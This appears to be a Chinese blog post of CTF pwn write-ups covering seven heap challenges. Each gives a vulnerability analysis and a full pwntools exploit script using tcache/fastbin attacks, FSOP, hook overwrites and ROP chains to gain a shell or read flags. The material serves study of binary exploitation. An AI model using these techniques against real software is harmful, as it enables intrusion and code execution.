大致步骤为:由于程序会泄露堆地址,先利用 tcache stash 机制绕过double free的检查分配到tcache_struct位置,修改其值为刚好释放该块时可以进入unsorted bin的值,从而在tcache中的fd为会修改为libc中的某个值,从而通过gift泄露出来。之后再次劫持堆块,分配到__free_hook位置,修改为system函数地址,free掉存有/bin/sh\x00的堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

io = remote('node4.buuoj.cn',28698)
file = './ciscn_final_3'
#io = process(file)
elf = ELF(file)
libc = elf.libc

def DEBUG():
attach(io)
pause()

def menu(choice):
io.recvuntil(b'choice > ')
io.sendline(str(choice).encode())

def add(index, size, content):
menu(1)
io.recvuntil(b'index\n')
io.sendline(str(index).encode())
io.recvuntil(b'size\n')
io.sendline(str(size).encode())
io.recvuntil(b'something\n')
io.send(content)

def remove(index):
menu(2)
io.recvuntil(b'index\n')
io.sendline(str(index).encode())

def gifts():
io.recvuntil(b'gift :0x')
address = int(io.recv(12),16)
print('gift ===> '+hex(address))
return address

#tcache stash机制进行double free
for i in range(9):
add(i, 0x70, b'/bin/sh\x00')
tcache_struct = gifts() - 0x12270
for i in range(9):
remove(i)
print('tcache struct ===> '+hex(tcache_struct))
remove(7) #fastbin 0x70: 7 -> 8 -> 7

for i in range(9, 16):
add(i,0x70,b'/bin/sh\x00')

add(16,0x70,p64(tcache_struct+0x10))
add(17,0x70,b'AAAA')
add(18,0x70,b'AAAA')
add(19,0x70,(b'\x00'*0x23+b'\x07').ljust(0x40,b'\x00')+p64(tcache_struct+0x10)*6) #该堆块为tcache_struct结构体

remove(19) #19堆块会进入unsorted bin中
add(20,0x20,b'\x00')
add(21,0x20,b'\x00') #申请到libc (因为tcache_struct进入unsorted bin,其tcache_struct+0x10位置被设置为libc中的位置,再次分配便会从tcache中取出该位置块)

libcbase = gifts() - 0x3ebca0
print('libcbase ===> '+hex(libcbase))
free_hook = libcbase + libc.symbols['__free_hook']
print('__free_hook ===> '+hex(free_hook))
sys = libcbase + libc.symbols['system']

add(22,0x50,b'\x00'*0x40+p64(free_hook)) #再次修改tcache_struct
add(23,0x10,p64(sys)) #分配到free_hook
remove(0)

#DEBUG()

io.interactive()

task06

0x01.pwnable.tw - heap paradise ( UAF + fastbin attack )

checksec看到保护全开,

这道题给我做的心态爆炸,像是照着wp抄了一遍,每一步都要注意和后面的联系,还要注意分配堆块的数量,爆破直接手动,写一个固定的地址,一直运行,打远程的时候似乎因为服务器在国外,一直超时,拿个j8的flag(总结:我是彩笔

大概步骤在exp里面写了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

#先fastbin attack分配到堆区域修改某个堆块的size,使得可以free进入unsorted bin,然后partial write爆破stdout结构体,输出libc,最后fastbin attack打malloc_hook

io = remote('chall.pwnable.tw',10308)
file = './heap_paradise'
#io = process(file)
elf = ELF(file)
libc = ELF('./libc_64.so.6')

def menu(num):
io.recvuntil(b'You Choice:')
io.send(str(num).encode())

def alloc(size, data):
menu(1)
io.recvuntil(b'Size :')
io.send(str(size).encode())
io.recvuntil(b'Data :')
io.send(data)

def free(index):
menu(2)
io.recvuntil(b'Index :')
io.send(str(index).encode())

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

alloc(0x68, b'\x00'*0x18+p64(0x71)) #0 loc-0
alloc(0x68, b'\x00'*0x18+p64(0x31)+b'\x00'*0x28+p64(0x21)) #1 loc-1
#2 loc-2
free(0)
free(1)
free(0) #0 -> 1 -> 0
alloc(0x68, b'\x20') #2 loc-0
alloc(0x68, b'\x00') #3 loc-1
alloc(0x68, b'\x20') #4 loc-0
alloc(0x68, b'\x00') #5 loc-0.5
free(0)
alloc(0x68, b'\x00'*0x18+p64(0xa1)) #6
free(5) #进入unsorted bin


free(0)
free(1)
alloc(0x78, (p64(0)+p64(0x71))*4+b'\x00'*0x8+p64(0x71)+b'\xa0') #7 loc-0.5 partial overwrite修改到stdout
alloc(0x68, b'\x00'*0x28+p64(0x71)+b'\xdd\xc5') #8 loc-1 partial overwrite将loc-0.5放入fastbin链表中
alloc(0x68, b'\x00'*0x18+p64(0x21)) #9 loc-0
alloc(0x68, b'A'*3+b'B'*0x30+p64(0xfbad2087+0x1800)+p64(0)*3+b'\x00') #10 修改stdout结构体
#(__IO_stdout)c620-0x43=c5dd
leak = io.recv(100)
print(leak)
loc = 0
if b'\x7f' not in leak:
raise Exception()
for i in leak:
if i == 0x7f:
break
loc += 1
libcbase = u64((leak[:loc+1])[loc-5:].ljust(8,b'\x00')) - 0x3c4600
print('libcbase ===> '+hex(libcbase))
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
malloc_hook = libcbase + libc.symbols['__malloc_hook']
target = malloc_hook - 0x23
print('__malloc_hook ===> '+hex(malloc_hook))

free(7)
free(1)

alloc(0x78, b'\x00'*0x48+p64(0x71)+p64(target)) #11 chunk overlapping修改fd
alloc(0x68, b'AAAA') #12
alloc(0x68, b'A'*0x13 + p64(libcbase+one_gadget[2])) #13
menu(1)
io.recvuntil(b'Size :')
io.send(b'16')

#DEBUG()

io.interactive()

0x02.[V & N2020公开赛]simpleHeap (off by one + fastbin attack + one gadget)

checksec看到保护全开

IDA打开,看到edit函数存在off by one漏洞

add函数内看到题目限制了size的大小,但我们可以在分配后修改size,从而释放堆块进入unsorted bin,并且修改后还会造成对堆块重叠,重叠后我们可以直接show泄露出libc的地址,从而再次利用fastbin attack__malloc_hook,但是在使用one_gadget的过程中我们发现都不能生效,这是因为one_gadget对当前栈环境有一定要求,对此,由于__malloc_hook__realloc_hook的地址十分接近,在分配fake chunk的时候可以一并控制,因此我们可以先修改__malloc_hook__libc_realloc函数地址,因为其在调用__realloc_hook之前会进行一系列压栈操作调整栈环境,从而有可能使得满足one_gadget条件。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

#先利用offbyone通过修改size使堆块进入unsorted bin内,泄露libc,然后fastbin attack用one_gadget打__malloc_hook即可成功getshell
#由于栈环境导致one_gadget不可用,因此需要修改__malloc_hook为realloc函数地址,并将__realloc_hook修改为one_gadget

io = remote('node4.buuoj.cn',28798)
file = './vn_pwn_simpleHeap'
#io = process(file)
elf = ELF(file)
libc = elf.libc

def DEBUG():
attach(io)
pause()

def menu(choice):
io.recvuntil(b'choice: ')
io.send(str(choice).encode())

def add(size, content):
menu(1)
io.recvuntil(b'size?')
io.send(str(size).encode())
io.recvuntil(b'content:')
io.send(content)

def edit(index, content):
menu(2)
io.recvuntil(b'idx?')
io.send(str(index).encode())
io.recvuntil(b'content:')
io.send(content)

def show(index):
menu(3)
io.recvuntil(b'idx?')
io.send(str(index).encode())

def delete(index):
menu(4)
io.recvuntil(b'idx?')
io.send(str(index).encode())

one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]

add(0x18,b'AAAA') #0
add(0x18,b'AAAA') #1
add(0x18,b'AAAA') #2
add(0x18,b'AAAA') #3
add(0x40,b'AAAA') #4
add(0x18,b'AAAA') #5 #避免合并
edit(0,b'A'*0x18+b'\x41') #chunk1 extend
edit(1,b'A'*0x18+b'\x91') #chunk2 extend
delete(2)
delete(1)
add(0x30,b'A'*0x20) #1
show(1) #泄露libc

io.recvuntil(b'A'*0x20)
libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c4b78
print('libcbase ===> '+hex(libcbase))

malloc_hook = libcbase + libc.symbols['__malloc_hook']
realloc = libcbase + libc.symbols['__libc_realloc']
target = malloc_hook - 35 #fastbin attack目标
print('__malloc_hook ===> '+hex(malloc_hook))

edit(1,b'A'*0x10+p64(0)+p64(0x91)+b'\n') #恢复free-chunk2
add(0x60,b'AAAA') #2 从free-chunk2中分割出chunk
delete(2) #进入fastbin
edit(1,b'A'*0x10+p64(0)+p64(0x71)+p64(target)+b'\n') #修改fd
add(0x60,b'AAAA') #2
add(0x60,b'A'*11+p64(libcbase+one_gadget[1])+p64(realloc+0x10)) #6
#DEBUG()
menu(1)
io.recvuntil(b'size?')
io.send(b'16')

io.interactive()

0x03.第三届美团网络安全高校挑战赛(初赛) - baby_focal ( fastbin attack + stdout leak )

checksec看到没开PIE,seccomp-tools看到禁用了execve,因此只能orw

IDA打开看到是一个常规的菜单题,有alloc,edit,delete选项,注意到alloc函数中有

1
sizeinfo[2 * (int)index] = nmemb + 16;

即可溢出0x10大小,但因为程序中没有打印选项,因此选择打stdout泄露

则解题步骤如下:

  • 先填满tcache,然后释放到unsortedbin中,产生libc地址,同时利用溢出partial overwrite该chunk的fd位为stderr结构体内(可进行fastbin attack的位置),此时释放堆块进行fastbin attack,同时利用溢出partial overwrite一个chunk的fd位为进入unsorted bin 的chunk块。(由于partial overwrite时均需要爆破,则成功概率为1/16*1/16=1/256)
  • 申请到stdout位置,修改结构体,使puts出libc地址。利用fastbin attack控制bss段的指针,获得任意地址写的能力。再修改指针为__free_hook,修改__free_hook为puts函数,获得任意地址读的能力。
  • 这时程序基本已经任意由我们操控了。通过_environ变量获取到栈地址,随后直接在栈上写入rop链,直接orw读取flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python3
from pwn import*
#context.log_level = 'debug'

#io = process('./baby_focal')
elf = ELF('./baby_focal')
libc = ELF('./libc-2.31.so')

def menu(choice):
io.recvuntil(b'exit\n>> ')
io.sendline(str(choice).encode())

def alloc(index, size):
menu(1)
io.recvuntil(b'index >> ')
io.sendline(str(index).encode())
io.recvuntil(b'size >> ')
io.sendline(str(size).encode())

def edit(index, content):
menu(2)
io.recvuntil(b'index >> ')
io.sendline(str(index).encode())
io.recvuntil(b'content >> ')
io.send(content)

def delete(index):
menu(3)
io.recvuntil(b'index >> ')
io.sendline(str(index).encode())

def DEBUG(io):
attach(io,'')
pause()

def pwn(io):
io.recvuntil(b'input your name: ')
io.send(b'./flag.txt\n')
#fastbin attack打IO_stdout泄露libc
for i in range(7):
alloc(0, 0x60)
delete(0)
for i in range(7):
alloc(0, 0xd0)
delete(0)
alloc(0, 0x68)
alloc(1, 0x68)
alloc(2, 0x68)
alloc(3, 0x68)
alloc(4, 0x68)
alloc(4, 0x68) #防止与top chunk合并
edit(2, b'A'*0x68+p64(0xe1)+b'\n')
delete(3) #3进入unsorted bin

edit(2, b'A'*0x68+p64(0x71)+b'\x5d\x66\n')
delete(2)
delete(1)
edit(0, b'A'*0x68+p64(0x71)+b'\x40\xdd\n') #有1/16*1/16即1/256的几率当该chunk链入fastbin时且stderr位置正确

#当爆破正确时,从fastbin中申请出stderr位置chunk
alloc(2, 0x68)
alloc(1, 0x68)
alloc(1, 0x68)
edit(1, b'\x00'*0x33+p64(0xfbad1800)+b'\x00'*0x19+b'\n') #修改stdout

#泄露libc
io.recvuntil(b'\x00'*8)
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1ec980
log.success('libcbase ===> '+hex(libcbase))
__malloc_hook = libcbase+libc.symbols['__malloc_hook']
setcontext = libcbase+libc.symbols['setcontext']+61
log.success('__malloc_hook ===> '+hex(__malloc_hook))
log.success('setcontext ===> '+hex(setcontext))
__free_hook = libcbase+libc.symbols['__free_hook']
environ = libcbase+libc.symbols['_environ']

bss = 0x404060
#再次fastbin attack,打bss段上指针
delete(2)
edit(0, b'A'*0x68+p64(0x71)+p64(bss-0x23))
alloc(0, 0x68)
alloc(1, 0x68)
edit(1, b'A'*0x13+p64(__free_hook)+b'\n') #此时chunk1可进行任意写

#泄露栈地址,方便rop
edit(0, p64(0x401134)+b'\n')
edit(1, b'A'*0x13+p64(environ)+b'\n')
delete(0)
io.recvline()
stack = u64(io.recv(6).ljust(8, b'\x00'))-0x140
log.success('stack ===> '+hex(stack))

flag = 0x4040b0
pop_rdi = libcbase+0x23b6a
pop_rsi = libcbase+0x2601f
pop_rdx = libcbase+0x142c92
open_ = libcbase+libc.symbols['open']
read_ = libcbase+libc.symbols['read']
puts = elf.plt['puts']
rop_chain = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)\
+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x404100)+p64(pop_rdx)+p64(0x50)+p64(read_)\
+p64(pop_rdi)+p64(0x404100)+p64(puts)
edit(1, b'A'*0x13+p64(stack)+p64(0x100)+b'\n')
edit(0, rop_chain+b'\n')
#DEBUG(io)
io.interactive()

while 1:
io = process('./baby_focal')
try:
pwn(io)
except:
io.close()

task07

0x01.houseoforange_hitcon_2016 - House of Orange ( house of orange )

先checksec看到保护全开,IDA打开看到add最多4次,edit最多3次,再来看edit函数内部

1
2
3
4
5
6
printf("Length of name :");
len = input();
if ( len > 0x1000 ) // 未检查对应长度,存在堆溢出
len = 4096;
printf("Name:");
sub_C20(houseinfo[1], len);

此处未检查之前分配的大小,可以造成堆溢出

注意到程序中没有free函数,因此我们可以尝试利用堆溢出修改top chunk的size,再申请大堆块(大于top chunk的size),从而free掉top chunk,之后再申请就可以泄露出libc地址和堆地址

最后再对剩下的top chunk的bk位进行修改,执行unsorted bin attack,修改掉_IO_list_all位置的值,此时_IO_list_all就会指向main_arena区域,而修改后的_IO_list_all指向位置的结构体对应chain域恰好为0x60的smallbin对应的链表头。因此我们需要在之前修改top chunk的同时修改size位为0x60,这样在申请chunk之后它就会被放入0x60大小的smallbin中,从而伪造_IO_FILE结构和vtable表。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

#libc版本为2.23,利用unsorted bin attack打_IO_list_all,触发FSOP,触发错误abort调用_IO_flush_all_lockp刷新所有流执行IO_OVERFLOW,getshell

io = process('./houseoforange_hitcon_2016')
elf = ELF('./houseoforange_hitcon_2016')
libc = ELF('./libc-2.23.so')

def DEBUG():
attach(io)
pause()

def menu(choice):
io.recvuntil(b'Your choice : ')
io.send(str(choice).encode())

def build(length, name, price, color):
menu(1)
io.recvuntil(b'Length of name :')
io.send(str(length).encode())
io.recvuntil(b'Name :')
io.send(name)
io.recvuntil(b'Price of Orange:')
io.send(str(price).encode())
io.recvuntil(b'Color of Orange:')
io.send(str(color).encode())

def see():
menu(2)

def upgrade(length, name, price, color):
menu(3)
io.recvuntil(b'Length of name :')
io.send(str(length).encode())
io.recvuntil(b'Name:')
io.send(name)
io.recvuntil(b'Price of Orange: ')
io.send(str(price).encode())
io.recvuntil(b'Color of Orange: ')
io.send(str(color).encode())

#由于程序中不存在free函数,因此利用堆溢出尝试free掉top chunk,注意更改size时要页对齐
build(0x10, b'A', 1, 1)
upgrade(0x1000, b'A'*0x10+p64(0)+p64(0x21)+p32(1)+p32(0x1f)+p64(0)+p64(0)+p64(0xfa1), 1, 1)
build(0x1000, b'A', 1, 1)
#此时top chunk已经进入了unsorted bin

#泄露libc & heapbase
build(0x400, b'A', 1, 1)
see()
io.recvuntil(b'Name of house : ')
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x3c5141
log.success('libcbase ===> '+hex(libcbase))
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
log.success('_IO_list_all ===> '+hex(_IO_list_all))
sys = libcbase + libc.symbols['system']
upgrade(0x1000, b'A'*0x10, 1, 1)
see()
io.recvuntil(b'A'*0x10)
heapbase = u64(io.recv(6).ljust(8, b'\x00'))-0xc0
log.success('heapbase ===> '+hex(heapbase))

#unsorted bin attack & FSOP
fake_fd = libcbase+0x3c4b78
payload = b'A'*0x400+p64(0)+p64(0x21)+b'A'*0x10
fake_file = b'/bin/sh\x00'+p64(0x60) + p64(0) + p64(_IO_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0, b'\x00')
payload += fake_file
payload += p64(0)*3 + p64(heapbase+0x5c8)
payload += p64(0)*2 + p64(sys)

upgrade(0x1000, payload, 1, 1)
menu(1)

#DEBUG()

io.interactive()

0x02.bytectf 2020 - gun( UAF+fastbin double-free+orw )

checksec看到保护全开,seccomp-tools看到只能orw,程序为libc-2.31

IDA打开,分析程序逻辑,程序有三个功能buy,load,shoot。其中buy可以分配堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int buy()
{
__int64 index; // [rsp+0h] [rbp-10h]
unsigned __int64 size; // [rsp+8h] [rbp-8h]

index = JudgeEnough(); // 判断index
if ( index < 0 )
return puts("Enough");
if ( Sign[3 * index] == 1LL ) // 只检测了sign
return puts("The bullet is Used!");
printf("Bullet price: ");
size = input();
if ( size <= 0xF || (__int64)((__int64)off_4010 - size) < 0 )
return puts("Too pool!");
if ( size > 0x500 )
return puts("Too big!");
*((_QWORD *)&GunInfo + 3 * index) = malloc(size);
Sign[3 * index] = 1LL; // 1:已拥有
printf("Bullet Name: ");
input_0(*((_QWORD *)&GunInfo + 3 * index), size);
off_4010 = (__int64 (__fastcall *)())((char *)off_4010 - size); //off_4010初始值为0x1000
return puts("Confirm");
}

其中off_4010变量在我获得flag时刚好为0,出题人这么sao吗???

再看load函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_16E1()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Which one do you want to load?");
v1 = input();
if ( v1 > 0xD || Sign[3 * v1] == 0LL || Sign[3 * v1] == 2LL )
return puts("what??");
if ( BulletInfo )
*((_QWORD *)&GunInfo_AddOne + 3 * v1) = BulletInfo;
BulletInfo = (__int64)&GunInfo + 24 * v1;
*((_QWORD *)&GunInfo + 3 * v1 + 2) = 2LL; // 2:装填状态
return puts("Confirm.");
}

以及shoot函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int sub_15F8()
{
__int64 v1; // rax
int i; // [rsp+0h] [rbp-10h]
__int64 num; // [rsp+4h] [rbp-Ch]
__int64 v4; // [rsp+8h] [rbp-8h]

if ( !BulletInfo )
return puts("No bullet!");
printf("Shoot time: ");
num = (unsigned int)input(); // shoot几次
for ( i = 0; BulletInfo && i < (int)num; ++i )
{
printf("Pwn! The %s bullet fired.\n", *(const char **)BulletInfo);
free(*(void **)BulletInfo); // UAF,未清除装填位指针
v4 = BulletInfo;
BulletInfo = *(_QWORD *)(BulletInfo + 8);
*(_QWORD *)(v4 + 16) = 0LL; // 0:已使用
}
v1 = RestOfBullet();
return printf("%lld bullets left\n", v1);
}

在shoot函数中可以看到在free掉目标子弹后,未及时清除next位,导致产生UAF

利用流程大致如下:

  • 先利用UAF泄露libc
  • 利用fastbin double-free__free_hook为一个特殊的gadget,直接orw(在伪造过程中边调试边构造rop链)

特殊gadget为mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20],在这个gadget中,可以给rdx赋值,并且可以call一个函数,可以使能进入setcontext函数之后控制rsp

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#!/usr/bin/env python3
from pwn import*
context(arch='x86_64',log_level='debug')

io = process('./gun')
elf = ELF('./gun')
libc = ELF('./libc-2.31.so')

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

def menu(choice):
io.recvuntil(b'Action> ')
io.sendline(str(choice).encode())

def shoot(num):
menu(1)
io.recvuntil(b'Shoot time: ')
io.sendline(str(num).encode())

def load(num):
menu(2)
io.recvuntil(b'Which one do you want to load?')
io.sendline(str(num).encode())

def buy(price, name):
menu(3)
io.recvuntil(b'Bullet price: ')
io.sendline(str(price).encode())
io.recvuntil(b'Bullet Name: ')
io.sendline(name)

io.recvuntil(b'Your name: ')
io.sendline(b'Static')

'''
gun共分为3个变量:
分别是:chunk位
next_gun位
sign位(其中next_gun位在shoot后不会及时清0,因此会造成UAF)
'''
#共有13个位置
#填满tcache,并构造泄露libc
for i in range(9):
buy(0x80, b'A')
for i in range(0,6):
load(i)
shoot(6)

load(7)
load(6)
shoot(2) #7 进入unsortedbin
for i in range(7):
buy(0x80, b'A') #0 1 2 3 4 5 6
load(6)
shoot(2) #由于6的next_gun位未清0,因此直接二连发泄露libc

io.recvline()
io.recvuntil(b'Pwn! The ')
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1ebbe0
log.success('libcbase ===> '+hex(libcbase))
__free_hook = libcbase+libc.symbols['__free_hook']
log.success('__free_hook ===> '+hex(__free_hook))
setcontext = libcbase+libc.symbols['setcontext']+61

#修复unsorted bin然后fastbin double-free打__free_hook
buy(0x80, p64(libcbase+0x1ebbe0)*2) #6
load(6)
buy(0x60, b'A') #8
load(7) #此时6 7均为0x60块,且6 7为同一堆块

for i in range(6): #0 1 2 3 4 5为0x60
load(i)
shoot(1)
io.recvuntil(b'Pwn! The ')
heapbase = u64(io.recv(6).ljust(8, b'\x00'))-0x541
log.success('heapbase ===> '+hex(heapbase))
load(8)
shoot(1)

for i in range(8): #填满0x60的tcache, 0 1 2 3 4 5 8 9
buy(0x60, b'A')
for i in range(6):
load(i)
shoot(1)
load(8)
shoot(1)

#fastbin double-free
shoot(1)
load(9)
shoot(1)
shoot(1)

pop_rdi = libcbase+0x26b72
pop_rsi = libcbase+0x27529
pop_rdx_r12 = libcbase+0x11c1e1
ret = pop_rdi+1
open_ = libcbase+libc.symbols['open']
read_ = libcbase+libc.symbols['read']
puts = libcbase+libc.symbols['puts']
pop_r12_r14 = libcbase+0x913b0
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] 0x1547a0
#修改fd
flag = heapbase+0x2a0
rop_chain_1 = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(ret)+p64(pop_r12_r14)
rop_chain_2 = p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(open_)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(ret)+p64(pop_r12_r14)
rop_chain_3 = p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read_)+p64(pop_rdi)+p64(flag)+p64(puts)
rsp = heapbase+0x7a0
rcx = ret
buy(0x60, b'B'*8)
load(0)
buy(0x60, b'C'*8)
load(1)
buy(0x60, b'D'*8)
load(2)
buy(0x60, rop_chain_3)
load(3)
buy(0x60, rop_chain_2)
load(4)
buy(0x60, rop_chain_1)
load(5)
buy(0x60, b'H'*0x28+p64(rsp)+p64(rcx))
load(6)

buy(0x60, p64(__free_hook)) #7

content = b'A'*8+p64(heapbase+0x6b8)+b'A'*8+p64(setcontext)
buy(0x60, b'C'*8) #8
buy(0x60, content) #9
buy(0x60, p64(libcbase+0x1547a0)) #10 此时剩余可分配大小已被分配完

load(9)
shoot(9)

io.send(b'./flag\x00')
#DEBUG()

io.interactive()

0x03.minilctf - easytcache( safe-linking绕过+tcache_struct劫持+ROP )

checksec看到保护全开,seccomp-tools看到只能orw,程序为libc-2.33

IDA打开看到是个c++程序,一个菜单题,可以add 5次,free 3次,注意delete函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v7 = freeinfo[index];
freeinfo[index] ^= 1u; // free两次就可以重新获得且第二次不会执行free
if ( v7 ) // double-free检测没用
{
v4 = std::operator<<<std::char_traits<char>>(
&std::cout,
"Double free detected! You can't delete a note more than once!");
}
else
{
sub_28D0(&unk_8240);
sub_28D0(a1);
sub_32FC(&unk_8260, index);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Done!");
}

显然double-free检测没用,free后再次free就可以重置标志位(此时只算作一次free),相当于UAF

则解题步骤为:

  • 先add一个chunk_0(要注意chunk应该尽量大),然后free两次进入tcache,由于safe-linking机制,直接show可以得到堆地址。再free两次使对应tcache_count=2。此时再修改fd位,使指向tcache_struct结构体,然后申请chunk_1,chunk_2,chunk_2即为tcache_struct位置。
  • edit修改tcache_struct结构体,将对应位置的count修改为7,然后free两次chunk_0,show出libc地址。此时只剩下两次add。
  • 再edit chunk_2使某指针指向_environ变量,add出来然后show得到栈地址。得到栈地址后修改tcache_struct中任意指针为指定栈地址布置rop_chain,直接orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = process('./easytcache')
elf = ELF('./easytcache')
libc = ELF('./libc.so.6')

def DEBUG():
attach(io)
pause()

def menu(choice):
io.recvuntil(b'Your choice: ')
io.send(str(choice).encode())

def add(size):
menu(1)
io.recvuntil(b'size?')
io.send(str(size).encode())

def edit(index, content):
menu(2)
io.recvuntil(b'index?')
io.send(str(index).encode())
io.recvuntil(b'content?')
io.send(content)

def show(index):
menu(3)
io.recvuntil(b'index?')
io.send(str(index).encode())

def delete(index):
menu(4)
io.recvuntil(b'index?')
io.sendline(str(index).encode())

#可add 5个堆块,free 3次
add(0x200) #0
delete(0)
delete(0)
show(0)

io.recvuntil(b'content: ')
heapbase = (u64(io.recv(5).ljust(8, b'\x00'))-0x11)<<12
log.success('heapbase ===> '+hex(heapbase))

edit(0, p64(0)*2) #清除key域
delete(0)
delete(0)
pos = heapbase+0x11000
edit(0, p64((heapbase+0x10)^(pos>>12))) #修改fd域为tcache结构体

add(0x200) #1
add(0x200) #2 控制tcache结构体

edit(2, p16(0)*0x1f+p16(7)*9)
delete(2) #泄露libc
delete(2)
edit(2, b'\x01')
show(2)

io.recvuntil(b'content: ')
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1e0c01
log.success('libcbase ===> '+hex(libcbase))

#后续利用_environ泄露栈地址,直接在栈上ROP即可
environ = libcbase+libc.symbols['_environ']
edit(2, p16(7)*0x40+p64(0)*0x1f+p64(environ)) #修改0x210处指针为目标位置
add(0x200) #3
show(3)
io.recvuntil(b'content: ')
stack = u64(io.recv(6).ljust(8,b'\x00'))-0x150
log.success('stack ===> '+hex(stack))

pop_rdi = libcbase+0x28a55
pop_rsi = libcbase+0x2a4cf
pop_rdx = libcbase+0xc7f32
open_ = libcbase+libc.symbols['open']
read_ = libcbase+libc.symbols['read']
puts = libcbase+libc.symbols['puts']
bss = libcbase+0x1e2000
#修改栈
edit(2, p16(7)*0x40+p64(0)*0x1f+p64(stack-0x18)) #stack-0x18是因为此处未对齐,还有不能影响程序的正常执行(stack-8会产生异常)
add(0x200) #4
rop_chain = p64(0)*3+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x10)+p64(read_)\
+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_)\
+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x50)+p64(read_)\
+p64(pop_rdi)+p64(bss)+p64(puts)
edit(4, rop_chain)
io.recvline()
io.send(b'./flag')

#DEBUG()

io.interactive()
  • Title: 《从零开始的pwner生活》
  • Author: Static
  • Created at : 2024-03-10 16:35:14
  • Updated at : 2024-03-10 16:35:11
  • Link: https://staticccccccc.github.io/2024/03/10/CTFS-wp/一些pwn题的writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments